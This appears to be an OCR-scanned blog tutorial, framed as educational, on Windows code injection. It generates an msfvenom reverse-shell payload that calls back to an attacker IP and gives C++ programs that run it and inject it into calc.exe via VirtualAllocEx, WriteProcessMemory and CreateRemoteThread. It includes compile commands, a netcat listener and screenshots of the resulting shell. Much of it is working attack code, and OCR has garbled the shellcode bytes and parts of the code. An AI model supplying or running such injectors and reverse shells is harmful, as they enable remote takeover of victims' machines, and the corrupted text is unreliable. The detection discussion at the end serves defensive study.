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This post is a Proof of Concept and is for educational purposes only.
Author takes no responsibility of any damage you cause.

Let’s talk about code injection. What is code injection? And why we do that?

Code injection technique is a simply method when one process, in our case it's our malware,
inject code into another running process.

For example, you have your malware, it's a dropper from phishing attack or a trojan you
managed to deliver to your victim or it can be anything running your code. And for some
reason, you might want to run your payload in a different process. What do | mean by that?
In this post we will not consider the creation of trojan, but for example, let's say that your
payload got executed inside word.exe which have a limited time of living. Let’s say your
successfully got a remote shell, but you know that, your victim close word. exe, so in this
situation you have to migrate to another process if you want to preserve your session.
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In this post we will discuss about a classic technique which are payload injection using
debugging API.

Firstly, let’'s go to prepare our payload. For simplicity, we use msfvenom reverse shell payload
from Kali linux.

On attacker’s machine run:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.1.6 LPORT=4444 -f c

where 10.9.1.6 is our attacker’s machine IP address, and 4444 is port which we run listener
later.

kaligkali msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.1.6 LPORT=4444 -f c
[-] No platform was selected, choosing Msf ::Module:: Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 46@ bytes
Final size of c file: 1957 bytes
unsigned char buf[] =
"\xfc\x48\x83\xes\xfO\xe8\xcO\x00\x00\x00\x41\x51\x41\x50\x52"
"\x514x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\xBb\x52\ x18\x48"
"\xBb\x52\x20\x4B\x8b\x72\x50\x48\x0F \xb7 \xha\xbsa\xbd\x31\xc9"
"\x48\x31\xc@\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xco\x0d\x41"
"\x@1h\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\xBb\x42\ x3c\x48"
"\x01\xd0\x8b\x88\x88\x00\x00\x00\x48\x85\xcO\x76\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xFFixcI\x41\x8b\x34\x88\x48\x01 \xd6\x4d\x31\xcI\x48Y\x31\xcB"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe®\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x664\x41\x8b\xBc\x48\xbs\xBb\ x40\ x1c\x49\x01\xdB\x41\ xBb\x 04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e \x59\x5a \x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe®\x58\x41\x59\x5a\x48"
"\xBbA\x12\xe9\x57 \xFF\xffAxfix5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xeb\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5¢c\x0a\x09\x01\x06\ x41\x54"
"\x49\x89\ xed\xbc\xB9\xf1\xb41\xba\x4c\x77\x26\xB7 \xFfixd5\xbc"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\x ff"
"\xd5h\x50\x50\x4d\x31\xc9\xbd\x31\xcO\x4B\xFF\xcO\x48\ x89\xc2"
"\x48\xFF\xc@\x48\x89\xc1\xb41\xba\xea\x@f \xdf\xed\xffixd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5 \x74\x61\xFF\xd5\x48\xB1\xch\x40\x02\x00\x00\x49 \ xb8\x63"
"\x6d\x64\x00\x00\x00\ x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2 \xfc\x66\xc 7 \x44"
"\x24\x54\x01\x01\x48\ x8d\xb4\x24\x18\xcH\x00\x68\x48\ x89 \xeb"

Let’s start with simple C++ code of our malware, which is used by me in AV evasion part 1
post:
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/*

cpp implementation malware example with msfvenom payload
*/

#include <windows.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

// our payload: reverse shell (msfvenom)

unsigned char my_payload[] =
"\XFc\x48\x83\xed\xFO\xe8\xcO\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\Xx48\x31\xcO\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\Xx00\X00\x48\x85\XxCcO\X74\x67\x48\x01"
"\xdO\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\XTFFAXCcO\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\ x40\ x24\x49\x01\xd0O"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\Xx41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\X8b\x12\xeN\X57\XFF\XTFF\XFF\x5d\x49\xbe\x77\x73\x32\x5F\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\x09\x01\x06\x41\x54"
"\Xx49\x89\xe4\x4c\x89\xF1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xcO\x48\xFF\xcO\x48\x89\xc2"
"\x48\xff\xcO\x48\x89\xc1\x41\xba\xea\x0f\xdf\xedO\xff\xd5\x48"
"\Xx89\XxCc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\Xxa5\x74\x61\xFf\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\X00\Xx00\Xx00\Xx00\X00\Xx41\x50\x41\x50\x48\x89\xe2\x57"
"\Xx57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\X24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\Xx00\x68\x48\x89\xe6"
"\X56\Xx50\x41\x50\x41\X50\Xx41\Xx50\x49\XFF\AXCO\X41\X50\x49\xFf"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3F\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xfO\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xTfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6T\x6a\x00\x59\x41\x89\xda\xff\xd5";

unsigned int my_payload_len = sizeof(my_payload);

int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

// Allocate a memory buffer for payload

my_payload_mem = VirtualAlloc(®, my_payload_len, MEM_COMMIT | MEM_RESERVE,
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PAGE_READWRITE);

// copy payload to buffer

Rt1MoveMemory(my_payload_mem, my_payload, my_payload_len);

// make new buffer as executable

rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ,

&oldprotect);
if (rv 120 ) {

// run payload

th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);

WaitForSingleObject(th, -1);
}

return 0,

The only difference is the our payload.
Let’s check firstly. Compile:

x86_64-w64-mingw32-gcc evil.cpp -0 evil.exe -s -ffunction-sections -fdata-sections -

Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-

libgcc

kaligkali

fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

kaligkali s -1t
total 64

-rwxr-xr-x 1 kali kali 15360 Sep 18 20

-rwxr-xr-x 1 kali kali 40448 Sep 18 18

-rw-r—r— 1 kali kali 2735 Sep 18 18 al

-rw-r—r— 1 kali kali 2744 Sep 18 18:45 evil.cpp

kaligkali

prepare listener:

nc -lvp 4444

and run from victim’s machine:

\evil.exe

evil.cpp -o evil.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -
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File Actions Edit View Help
kali@kali:~ % nc-lvp 4444 ®  kali@kali:~/prol

kalidkali nc -lvp 4bsh

listening on [any] 4444 ...

10.9.1.18: inverse host lookup failed: Unknown host

connect to [10.9.1.6] from (UNKNOWN) [10.9.1.18] 50836

Microsoft Windows [Version 6.1.7601] ez s \Dounl din

Copyright (c) 2009 Microsoft Corporation. ALl rights reserved. Vo lume. in drive C has no label.
Uolume Serial Numbe FC58-CFDF

B Command Prompt - \evil.exe

C:\Users\qwe\Downloads>whoami
whoami
win7pc-x64\qwe A7 /18,2821 7 PM <DIR>

% -18-2021 .-
C:\Users\qwe\Downloads>dir 3323;535} 4 ::ﬂé?:ie

Directory of C:sUsersiguesDounloads

9 PM
diz gg/}gfgggi B8 PM e hacks 2.3%
i i 187 - proc hacker—2.3%-setup.exe
Volume in drive C has no label. 5 57323, 656 bt

Volume Serial Number is FC58-CFDF 7,627,183 616 hytes Free

Directory of C:\Users\qwe\Downleoads -Nevil.exe

09/18/2021 1 PM <DIR>

09/18/2021 1 PM <DIR> -
09/18/2021 1 PM 15,360 evil.exe |
09/18/2021 : PM 40,448 evil2.exe [
09/18/2021 1 PM <DIR> ncat C

09/18/2021 1 PM 2,267,848 processhacker-2.39-setup.exe - - - "
3 File(s) 2,323,656 bytes e -wl Cl ‘ @ ‘ e | [BE RS
3 Dir(s) 7,027,105,792 bytes free . = PRl e L
B
C:\Users\qwe\Downloads>l

As you can see, everything is ok.

For investigating evil.exe we will use Process Hacker. Process Hacker is an open-source

tool that will allow you to see what processes are running on a device, identify programs that

are eating up CPU resources and identify network connections that are associated with a
process.

kali@kali:~ ] nc-lvp 4444

kaligkali nc =lvp 4444
listening on [any] 4444 ...
10.9.1.18: inverse host lookup failed: Unknown host i no label.

connect to [10.9.1.6] from (UNKNOWN) [10.9.1.18] 50858 1 Nunber is FCS8-CFDF 18/ Process Hacker [WINTPC-x64\qwe]
Microsoft Windows [Version 6.1.7601] . CinUsershquesDownloads [N SEIRSNSTN oS IS S
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

2 PM <DIR> %% Refresh .73 Options | 8 Find handles or DLLs » Search Process:
C:\Users\qwe\Downloads>f] 3 EH <DIR> Processes | Services | Network [ Disk |
o Name PID  CPU L/Ototol.. Privateb.. Username
LI PR | inogon.cc 3128 244 MB

3 Dir(s2> ?.827.490, 81| 4 explorer.exe 3576 0.65 4641 MB  WINTPC-x6d\q
Downloads>. \evil. exe  VBoxTray.exe 300 003 160B/s  231MB WINTPCof\qg
4 R cmd.exe 2148 203 MB  WINTPC-x6d\q
4 B evil.exe 2404 796 kB WINJPC-x64\q
BN cmd.exe 364 1.36 MB \'VIN:IPC-Xﬁfﬂq

" ' evil.exe (2404) Properties

| General IStaﬁshrs | Performance | Threads | Token ‘ Madules ‘Memary | Environment | Handles |

GF

Mame Base address Size Description

evil.exe 0x400000 44 kB

apisetschema.dl  0x7feff3do... 4kB  ApiSet Schema DLL

apphelp.dl Ox7fefd490... 348 k8 Application Compatibility Clie...
gdiz2.dll 0x7feffa50... 412kB  GDI Client DLL

imm32.dll Ox7fefe3so... 184kB  Multi-User Windows IMM32 ...
kernel32.dl 0x77550000 1.12MB_ Windows NT BASE API Clien. ..

Ky -

P A Pos 351 A3 = =0 AR £ AR T2 minkt el

ole . ]omle

Then in the Network tab we will see that our process establish connection to 10.9.1.6:4444

(attacker’s host):
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kali@kali:~ £ nc -lvp 4444

kaligkali ¢ -lvp 4444

listening on [any] &444 ... Downloads >dis
10.9.1.18: inverse host lookup failed: Unknown host ive C has no_label.
connect to [10.9.1.6] from (UNKNOWN) [10.9.1.18] 50859 1 Humbher is FCSO-CFDR
Microsoft Windows [vVersion 6.1.76081]

Copyright (c) 2009 Microsoft Corporation. ALl rights reserved. % Process Hacker [WIN7PC-x64\qwe]

C:\Users\qwe\Downloads>[|

~JLiEmEm e

Processes | Services | Metwork | Digk

Hacker View Tools Users Help
%Raﬁesh “£3 Options ‘ &8 Find handles or DLLs

== =]

= Bl s

* Search Network [Ctrl+K)

=
Mame Local address

Local...

Remote address Rem...

Prot...

State

Owner

57 evil.exe (39, WINTPC-364...

50859

109.16 4444

TCP

Establish...

57 firefox.exe .. WINTPC-x64
57 firefox.exe .. WINTPCb4
(57 firefox.exe .. WINTPC-364
577 firefox.exe .. WINTPC-x64
(=7 firefox.exe .. WINTPC-x64
(57 firefox.exe .. WINTPC-364
577 firefox.exe .. WINTPC-x64
(=7 firefox.exe .. WINTPC-x64
57 firefox.exe .. WINTPC-x64
577 firefox.exe .. WINTPC-x64
‘

50839
50840
50826
50827
50806
50807
50795
50796
50793
50794

WINTPC-x54 50840
WINTPC-xb4 50839
WINTPC-x64 50827
WINTPC-x54 50826
WINTPC-x64 50807
WINTPC-x64 50806
WINTPC-x54 50796
WINTPC-x64 50795
WINTPC-x64 50794
WINTPC-x54 50792
[

TCcp
Tce
TCP
TCcp
TCP
TCP
TCcp
TCP
TCP

Establish...
Establish...
Establish...
Establish...
Establich...
Establish...
Establish...
Establich...
Establish...
Establish...

CPU Usage: 432%  Physical memory: 705.07 MB (68.88%) Processes: 43

So, let’s go to inject our payload to process. For example, calc.exe. So, what you want is to
pivot to a target process or in other words to make your payload executing somehow in
another process on the same machine. For example in a calc.exe.

payload

evil.exe

calc.exe

The first thing is to allocates some memory inside your target process and the size of the

buffer has to be at least of size of your payload:

I ‘Allocate memary”

payload

avil.exe

empty buffer

calc.exe

Then you copy your payload to the target process calc.exe into the allocated memory:

6/14



ﬁ; "copy payload”
2y
L[> >
/ <>
payload
aevil.exe calc.exe

and then “ask” the system to start executing your payload in a target process, which is
calc.exe.

“execute payload”
<> >
/ I
payload payload
evil.exe calc.exe

So, let’s go to code this simple logic. Now the most popular combination to do this is using
built-in Windows API functions which are implemented for debugging purposes. There are:
VirtualAllocEx

WriteProcessMemory,

CreateRemoteThread

Very basic example is:
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#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <windows.h>

// reverse shell payload (without encryption)

unsigned char my_payload[] =
"\xTc\x48\x83\xe4\xFO\xe8\xcO\X00\Xx00\Xx00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xcO\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\Xx00\X00\x48\x85\XxCcO\X74\x67\x48\x01"
"\XxdO\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\XFFAXCcO\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0O"
"\xac\x41\xc1\xcI\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xdO"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xdO\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xFf\xe0\x58\x41\x59\x5a\x48"
"\X8b\Xx12\xe\X57\XFF\XTFF\XFF\x5d\x49\xbe\x77\x73\x32\x5F\x33"
"\x32\x00\Xx00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\Xx49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\x09\x01\x06\x41\x54"
"\x49\x89\xe4\x4c\x89\xT1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\Xx59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xcO\x48\xFF\xcO\x48\x89\xc2"
"\x48\xff\xcO\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xab\x74\x61\xFFAxd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\X00\X00\X00\Xx00\Xx00\Xx41\x50\x41\x50\x48\x89\xe2\x57"
"\X57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\Xx56\x50\x41\x50\x41\Xx50\x41\ x50\ x49\xFF\AXCO\X41\x50\x49\xFf"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xfO\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6T\x6a\x00\x59\x41\x89\xda\xff\xd5";

unsigned int my_payload_len = sizeof(my_payload);

int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
PVOID rb; // remote buffer

// parse process ID
printf("PID: %i", atoi(argv([1]));

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

// allocate memory buffer for remote process

rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT),

8/14



PAGE_EXECUTE_READWRITE);

// "copy" data between processes
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);

// our process start new thread

rt = CreateRemoteThread(ph, NULL, O, (LPTHREAD_START_ROUTINE)rb, NULL, ©, NULL);
CloseHandle(ph);

return 0;

First you need to get the PID of the process, you could enter this PID yourself in our case.
Next, open the process with OpenProcess function provided by Kernel32 library:

47
48 printf("PID:

49 ph OpenPrao (PROCESS A / J? FALSE, DWO atoi(argv[1]))});

Next, we use virtualAllocEx which is allows to you to allocate memory buffer for remote
process (1):

ph, NULL, my payload len, (MEM RES
ory(ph, rb, my payload, my payload len, NULL);

emoteThread(ph, NULL, @, (LP ART | JEYrb, NULL, ©, NULL)
> (ph);

Then, writeProcessMemory allows you to copy data between processes, so copy our
payload to calc.exe process (2). And CreateRemoteThread is similar to CreateThread
function but in this function you can specify which process should start the new thread (3).

Let’s go to compile this code:

X86_64-w64-mingw32-gcc evil_inj.cpp -0 evil2.exe -s -ffunction-sections -fdata-
sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -
static-libgcc

kaliagkali ingw32 c evil inj.cpp -o evil2.exe -s -ffunction-sections -fdata-sections -Wno-write-stri
ngs -fno-exceptions -fmerge-all-constants -static-libstdc+ Astatlc 11hgcc

kaligkali ls -1t

total 64

=rwxr-xr-x 1 kali kali 40448 Sep 19 00:35 evil2.exe

-rw-r—r— 1 kali kali 2/81 sep 1Y

-rwxr-xr-x 1 kali kali 15360 Sep 18 20:
-rw-r—r— 1 kali kali 2744 Sep 18 18:45 Evll cpp
kaligkali

prepare listener:
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nc -lvp 4444

and on victim’s machine firstly execute calc.exe:

File Actions Edit View Help

kali@kali:~ 3 nc-lvp 4444
kaliakali nc -lvp &hbh

C:\WUsersquesDounloads>_

listening on [any] &444 ...
1

1% Process Hacker [WINTPC-64\qwe]

Hacker Help

% Refresh 3 Options | @ Find handles or DLLs

Processes | Services | Network | Disk |

Name PID
877 Isass.exe 544
57 1sm.exe 552

4 B csrss.exe

View Tools Users

CPU
017 4
0.03 2
010 6)
1
2

I/Ototal ... Priv

& conhost.exe
B winlogon.exe
4y explorer.exe 48/

|22 Caleulator
View  Edit

ol = [

Help

0

¥4 VBoxTray.exe 2

B cmd.exe

| [ caleexe

St
203 MB
1% ProcessHackerexe 6.88 MB
] 6.04 ME

VINTF RO [ WE
WINTPC-x64\que
WIN7PC-xbd\ qwe.
WINTPC-x64\que

4 |m firefox.exe

- firefox.exe 4 n

191.95 MB

WINTPC-xbd\que

CPU Usage: 249%

O 2.

Physical memory: 630.39 ME (61.59%) Processes: 42

-

e
ERF -raco

© (1 &7 & 0= 18 G[ & (3] right

Which we can see that the process ID of the calc.exe is 1844.

Then run our injector from victim’s machine:

.\evil2.exe 1844

File Actions Edit View Help

kali@kali:~ nc-lvp 4444

kaligkali nc -lvp bbbk Dol
listening on [any] 4444 ...

10.9.1.18: inverse host lookup failed: Unknown host
connect to [10.9.1.6] from (UNKNOWN) [10.9.1.18] 50882
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.

“que~Dounloads>dir
Yo Lum drive C has no label.
Uolume Serial Humber FC58-CFDF

Directory of C:\Userssgwe-Downloads

<DIR>
<DIR>

A1l rights reserved.

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories>J|

B
3 Filed(s>

3 Dirds> 7.326:396,896 byt

wesDounloads>.\evil2.exe 1844

B

1™ ProcessHacker.exe 6.93 MB

T e

WINTPC-64\que

4[] calc.exe
B cmd.exe

6.18 MB
1.86 MB

WINTPC-64\que
WINTPC-xb4\que

a o] firefox.exe 191.68 MB

m1 firefox.exe 4 n

WINTPC-64\que

CPU Usage: 351%  Physical memory: 60487 MB (59.09%) Processes: 44

SNl )

- ]
B O & 505K G @ @ rhtcn

and first of all we can see that ID of the calc.exe is the same and our evil2.exe is create
new process cmd.exe and on the Network tab our payload is execute (because calc.exe

establish connection to attacker’s host):
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File Actions Edit View Help
kali@kali:~ % nc-lvp 4444

[==]=]

kaligkali c -lvp 4444

listening on [any] 4444 ... T

10.9.1.18: inverse host lookup failed: Unknown host C;~Yserstaue~lounlo
connect to [10.9.1.6] from (UNKNOWN) [10.9.1.18] 50882 Uolume Serial Humh
Microsoft Windows [Version 6.1.7601] -

Copyright (c) 2009 Microsoft Corporation. A1l rights reserved. 8 Process Hacker [WINZPC-x64\qwe] =8 oR( =

Hacker View Tools Users Help
% Refresh 4¢3 Options | &R Find handles or DLLs * Search Network (Ctrl+K) P

Processes | Services | Network | Disk

Dlar, L ncal adrire Loral  Berpte adde Bern  Drot bt Ouwner

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories>]]

J calcexe (L. WINTPC-x64.. 50882 10916 4444 TCP Establish...
T Tireron.exe .. WINI P08 SUB39 WINTFC-08 SUBAU TCP EStabliEh...
[ firefox.exe .. WINTPC-x64 50840 WINTPC-xG4 50839 TCP Establish...
5 firefox.exe .. WINTPC-x64 50826 WINTPC-x64 50827 TCP  Establish..
[ firefox.exe .. WINZPC-x64 50827 WINTPC-x64 50826 TCP Establish...
[ firefox.exe ... WINTPC-x64 50806 WINTPC-x64 50807 TCP Establish...
[=71 firefox.exe.. WINTPC-x64 50807 WINTPC-x64 50806 TCP Establish...
5 firefox.exe .. WINTPC-x64 50795 WINTPC-x64 50796 TCP  Establish..
57 firefox.exe ... WINZPC-x64 50796  WINTPC-x64 50795 TCP Establish...
[ firefox.exe ... WINTPC-x64 50793 WINTPC-x64 50794 TCP Establish...
[m77 firefox.exe.. WINTPC-x64 50794  WINTPC-x64 50793 TCP Establish...
< i

CPU Usage: 1.66%  Physical memory: 578.19 MB (56.49%) Processes: 44

ows Media Player [N

e - o= L] S oo oA
i

GX (@ o 28 2 £ (20 il 70 48 () Riaht i

Then, let’s go to investigate calc.exe process. And go to Memory tab we can look for a
memory buffer we allocated.

J calc.exe (1844) Properties E\@

| General I Statistics I Perfarmance I Threads I Token I Modules | Memary | Environment I Handles I GPU I Comment|

Hide free regions l Strings... ] l Refresh ]
Base address Type Size Proh‘act. v Usze i
Oxff3d1000 Image: Commit 3B KB RX C:\Windows'\System32'calc.exe
Ox776b 1000 Image: Commit 1,012kB RX C:\Windows\System32ntdl. il
Ox 77591000 Image: Commit 620kEB RX C:\Windows'\System32%kernel32.dl
Ox 77491000 Image: Commit 516 kB RX C:\Windows'\System32user32.dl
0x31a0000 Private: Commit 4kB RWX
0x342b000 Private: Commit kB RW+G Stack (thread 3164)

Ox30ac000 Private: Commit kB RW+G Stack (thread 2668)

0x2b5b000 Private: Commit 12ZkB RW+G Stack (thread 564)

Ox 176000 Private: Commit kB RW+G Stack (thread 3136)

Ox Ffffde000 Private: Commit 8kB RW TEE (thread 3136)

Ox FfAfdc000 Private: Commit 8kB RW TEE (thread 564)

OxFfAffdan0n Private: Commit 8kB RW TEE (thread 2668)

OxFfAd2000 Private: Commit 8kB RW TEE (thread 3164)

Ox FFd 5000 Private: Commit 4kE RW PEB

OxFfeffo47000 Image: Commit 4kB RW C:\Windows'\System32'shiwapi.dll
OxFfeff759000 Image: Commit 4kB RW C:\Windows\System32\msctf.dll
OxFfeff4ac000 Image: Commit 4kB RW C:\Windows\System32'\gdi32.dll
OxFfeff43b000 Image: Commit 12ZkB RW C:\Windows'\System32\dbcatg.dil
Dxﬁeﬁhluun ;..__,.. "} o o 4 L M I LT PR | o Y SR L, | PESRS—" R ||} r
Ao L LEA D AR

Because if you take a look into the source code we are allocating some executable and
readable memory buffer in the remote process:

VirtualAllocEx(ph, NULL, my payload len, (MEM RESERVE
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So in the Process Hacker we can search and sorted by Protection, scroll down and find
region which is readable and an executable in the same time:

|| calc.exe (1844) Properties E\@

| General I Statistics I Performance I Threads I Token I Modules | Memory | Environment I Handles I GPU I Comrnent|

Hide free regions [ Strings... l [ Refresh l
Base address Type Size Proh\;ct Use i
0% 280000 Mapped: Com... 196 kB WC C:\Windows\3ystem32\en-US\calc.e. ..
Ox7feffde 1000 Image: Commit 272kB RX C:\Windows\System32\shlwapi.dll (u
Ox 7feffaa 1000 Image: Cammit G40 kB RX Cr\Windows\System32\msctf.dll
Ox7feff451000 Image: Cammit 324kB RX Cr\Windows\System32\gdiz2.dll
Ox 7feff3b 1000 Imaqge: Cammit 392kB RX C:\Windows'\System32\dbcatq. dll
Ox7feff311000 Imaqge: Cammit 434kB RX C:\Windows\System32\msvert.dil
OxFfeff211000 Image: Commit 628 kB RX C:\Windows\System32\oleaut32.dll
OxFfeff1f1000 Image: Commit 96 kB RX Cr\Windows'\System32\sechost.dll
OxFfeff1e 1000 Image: Commit 28kB RX Cr\Windows\System32Ypl. dil
OxFfefe451000 Image: Commit 4276 kB RX C:\Windows'\System32'shell32.dl
Ox Ffefe401000 Image: Commit 192kB RX C:\Windows'\System32iws2_32.dll
OxFfefe351000 Image: Commit 112kB RX C:\Windows\System324mm32.dll
OxFfefe0a 1000 Image: Commit 1,528 kB RX C:\Windows'\System32'ole32.dll
OxFfefe091000 Image: Commit g8kB RX C:\Windows'\System32nsi.dil
OxFlefdfc1000 Image: Commit 520kB RX C:\Windows'\System32\usp10.dll
OxFfefdes 1000 Image: Commit 463 kB RX C:\Windows'\System32\advapiz2.dil
OxFfefdad 1000 Image: Commit a04kB RX C:\Windows'\System32yrport4.dil
Ox Flefdab 1000 Image: Commit 292kB RX C:\Windows'System32'\KernelBase. dl i
O Ffefd4fi000 :"I‘"' = = s ln o I i o

LN, T ST LY.

-7 /i e
a2 | -0 el w5

so, there is a lot of such regions in a memory of calc.exe.

But, note how the calc.exe has aws2 32.d11 module loaded which should never happen in
normal circumstances, since that module is responsible for sockets management:
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: E| calc.exe (1844) Properties EI@ m
| General I Statistics I Performance I Threads I Taoken I Modules | Memary | Environment I Handles I GPU I Comment| ]
[¥] Hide free regions [ Strings. .. ] [ Refresh ]
Base address Type Size Prutéct. . Use -
DxFfeffée 1000 Image: Commit 272kB RX Ci\windows\System32\shlwapi.dl —
Ox7feffaa1000 Image: Commit 640 kB RX C:\Windows\System32imsctf.dll L4
OxFfeff451000 Image: Commit 324kB RX Ci\Windows\System32gdi32.dll
OxFfeff3b 1000 Image: Commit 392kB RX Ci\Windows\System32'dbcatq. dil
0xFfeff311000 Image: Commit 434kE RX Ci\Windows\System32\msvert. dil
Ow7feff211000 Image: Commit 628 kB RX C:\Windows\System32ioleaut32.dll
OxFfeff1f1000 Image: Commit g6 kE RX Ci\Windows\System32'sechost.dll
OxFfeffle 1000 Image: Commit 28kE RX CriWindows\System32Ypk. dll
Ox7fefe451000 Image: Commit 4,275 kB RX C:Windows\System32'shell 32 dll
DxFfefe401000 Image: Commit 192 kB RX C:\Windows\System32yws2_32.dl
O = = L) JA gyt T =R TIZFE FX LU o o = S S
OxFfefeda 1000 Image: Commit 1,528 kB RX CriWindows\System32ole32.dll
0xFfefed21000 Image: Commit kB RX Ci\Windows\System32nsi. dll
DxFfefdfc1000 Image: Commit 520kB RX Ci\Windows\System32usp 10.dIl
